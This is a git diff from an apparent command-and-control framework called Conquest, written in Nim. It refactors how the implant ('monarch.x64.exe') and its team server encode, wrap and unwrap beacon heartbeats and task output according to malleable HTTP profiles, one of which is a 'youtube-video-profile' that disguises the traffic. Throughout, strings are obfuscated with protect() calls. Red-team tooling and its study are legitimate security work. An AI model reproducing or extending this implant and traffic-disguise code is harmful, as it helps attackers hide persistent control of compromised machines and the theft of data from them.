diff --git a/docs/presentations/2511-BSidesVienna0x7e9/youtube.toml b/data/youtube.toml similarity index 99% rename from docs/presentations/2511-BSidesVienna0x7e9/youtube.toml rename to data/youtube.toml index 6838942..d475b4d 100644 --- a/docs/presentations/2511-BSidesVienna0x7e9/youtube.toml +++ b/data/youtube.toml @@ -1,4 +1,4 @@ -# Conquest default configuration file +# Conquest youtube video profile name = "youtube-video-profile" # Important file paths and locations diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index 98778fb..19eb572 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -5,16 +5,10 @@ import ../../common/[types, utils, profile] proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent"))) - var heartbeatString: string - - # Apply data transformation to the heartbeat bytes - case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none")) - of protect("base64"): - heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "") - of protect("hex"): - heartbeatString = Bytes.toString(heartbeat).toHex().toLowerAscii() - of protect("none"): - heartbeatString = Bytes.toString(heartbeat) + + # Apply data transformation + let payload = ctx.profile.applyDataTransformation(protect("http-get.agent.heartbeat"), heartbeat) + var body: string = "" # Define request headers, as defined in profile for header, value in ctx.profile.getTable(protect("http-get.agent.headers")): @@ -25,12 +19,6 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = if endpoint[0] == '/': endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters - let - prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix")) - suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix")) - payload = prefix & heartbeatString & suffix - var body = "" - # Add heartbeat packet to the request case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")): of protect("header"): @@ -63,17 +51,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = if responseBody.len() <= 0: return "" - # In case that tasks are found, apply data transformation to server's response body to get thr raw data - let - prefix = ctx.profile.getString(protect("http-get.server.output.prefix")) - suffix = ctx.profile.getString(protect("http-get.server.output.suffix")) - encResponse = responseBody[len(prefix) ..^ len(suffix) + 1] - - case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")): - of protect("base64"): - return decode(encResponse) - of protect("none"): - return encResponse + # Reverse data transformation + return Bytes.toString(ctx.profile.reverseDataTransformation(protect("http-get.server.output"), responseBody)) except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time @@ -100,21 +79,8 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST"))) # Apply data transformation - var output: string - case ctx.profile.getString(protect("http-post.agent.output.encoding.type"), default = protect("none")) - of protect("base64"): - output = encode(data, safe = ctx.profile.getBool(protect("http-post.agent.output.encoding.url-safe"))).replace("=", "") - of protect("hex"): - output = Bytes.toString(data).toHex().toLowerAscii() - of protect("none"): - output = Bytes.toString(data) - - # Append/prepend strings - let - prefix = ctx.profile.getString(protect("http-post.agent.output.prefix")) - suffix = ctx.profile.getString(protect("http-post.agent.output.suffix")) - payload = prefix & output & suffix - var body: string + let payload = ctx.profile.applyDataTransformation(protect("http-post.agent.output"), data) + var body: string = "" # Add task result to the request case ctx.profile.getString(protect("http-post.agent.output.placement.type")): diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index ed12717..fdcc783 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -4,7 +4,7 @@ --opt:size --l:"-Wl,-s" # --l:"-Wl,-subsystem,windows" # Prevent console window --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="511" --d:VERBOSE="false" +-d:VERBOSE="true" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/common/profile.nim b/src/common/profile.nim index 57cde63..c7a3303 100644 --- a/src/common/profile.nim +++ b/src/common/profile.nim @@ -1,6 +1,6 @@ -import parsetoml, strutils, sequtils, random +import parsetoml, strutils, sequtils, random, base64 -import ./types +import ./[types, utils] proc findKey(profile: Profile, path: string): TomlValueRef = let keys = path.split(".") @@ -74,3 +74,37 @@ proc getArray*(profile: Profile, path: string): seq[TomlValueRef] = if key == nil: return @[] return key.getElems() + +proc applyDataTransformation*(profile: Profile, path: string, data: seq[byte]): string = + var dataString: string + + # 1. Encoding + case profile.getString(path & protect(".encoding.type"), default = protect("none")) + of protect("base64"): + dataString = encode(data, safe = profile.getBool(path & protect(".encoding.url-safe"))).replace("=", "") + of protect("hex"): + dataString = Bytes.toString(data).toHex().toLowerAscii() + of protect("none"): + dataString = Bytes.toString(data) + + # 2. Add prefix & suffix + let prefix = profile.getString(path & protect(".prefix")) + let suffix = profile.getString(path & protect(".suffix")) + + return prefix & dataString & suffix + +proc reverseDataTransformation*(profile: Profile, path: string, data: string): seq[byte] = + # 1. Remove prefix & suffix + let + prefix = profile.getString(path & protect(".prefix")) + suffix = profile.getString(path & protect(".suffix")) + dataString = data[len(prefix) ..^ len(suffix) + 1] + + # 2. Decoding + case profile.getString(path & protect(".encoding.type"), default = protect("none")): + of protect("base64"): + result = string.toBytes(decode(dataString)) + of protect("hex"): + result = string.toBytes(parseHexStr(dataString)) + of protect("none"): + result = string.toBytes(dataString) diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index 0263b07..e12721e 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -35,7 +35,6 @@ proc httpGet*(request: Request) = {.cast(gcsafe).}: # Check heartbeat metadata placement - var heartbeat: seq[byte] var heartbeatString: string case cq.profile.getString("http-get.agent.heartbeat.placement.type"): @@ -58,19 +57,8 @@ proc httpGet*(request: Request) = else: discard - # Retrieve and apply data transformation to get raw heartbeat packet - let - prefix = cq.profile.getString("http-get.agent.heartbeat.prefix") - suffix = cq.profile.getString("http-get.agent.heartbeat.suffix") - encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1] - - case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"): - of "base64": - heartbeat = string.toBytes(decode(encHeartbeat)) - of "hex": - heartbeat = string.toBytes(parseHexStr(encHeartbeat)) - of "none": - heartbeat = string.toBytes(encHeartbeat) + # Reverse data transformation to get raw heartbeat packet + let heartbeat = cq.profile.reverseDataTransformation("http-get.agent.heartbeat", heartbeatString) try: var responseBytes: seq[byte] @@ -89,27 +77,18 @@ proc httpGet*(request: Request) = responseBytes.add(task) # Apply data transformation to the response - var response: string - case cq.profile.getString("http-get.server.output.encoding.type", default = "none"): - of "none": - response = Bytes.toString(responseBytes) - of "base64": - response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe")) - else: discard - - let prefix = cq.profile.getString("http-get.server.output.prefix") - let suffix = cq.profile.getString("http-get.server.output.suffix") + let payload = cq.profile.applyDataTransformation("http-get.server.output", responseBytes) # Add headers, as defined in the team server profile var headers: HttpHeaders for header, value in cq.profile.getTable("http-get.server.headers"): headers.add((header, value.getStringValue())) - request.respond(200, headers = headers, body = prefix & response & suffix) + request.respond(200, headers = headers, body = payload) # Notify operator that agent collected tasks - cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$response.len} bytes sent.") - cq.info(fmt"{$response.len} bytes sent.") + cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$responseBytes.len} bytes sent.") + cq.info(fmt"{$responseBytes.len} bytes sent.") except CatchableError as err: request.respond(404, body = "") @@ -124,7 +103,6 @@ proc httpPost*(request: Request) = try: # Retrieve data from the request var dataString: string - var data: seq[byte] case cq.profile.getString("http-post.agent.output.placement.type"): of "header": @@ -146,19 +124,8 @@ proc httpPost*(request: Request) = else: discard - # Retrieve and reverse data transformation - let - prefix = cq.profile.getString("http-post.agent.output.prefix") - suffix = cq.profile.getString("http-post.agent.output.suffix") - encData = dataString[len(prefix) ..^ len(suffix) + 1] - - case cq.profile.getString("http-post.agent.output.encoding.type", default = "none"): - of "base64": - data = string.toBytes(decode(encData)) - of "hex": - data = string.toBytes(parseHexStr(encData)) - of "none": - data = string.toBytes(encData) + # Reverse data transformation + let data = cq.profile.reverseDataTransformation("http-post.agent.output", dataString) # Add response headers, as defined in team server profile var headers: HttpHeaders diff --git a/src/server/core/websocket.nim b/src/server/core/websocket.nim index 50225c3..1e133e8 100644 --- a/src/server/core/websocket.nim +++ b/src/server/core/websocket.nim @@ -1,4 +1,4 @@ -import times, json, base64, parsetoml, strformat, pixie +import times, json, base64, parsetoml, strformat import stb_image/write as stbiw import ./logger import ../../common/[types, utils, event]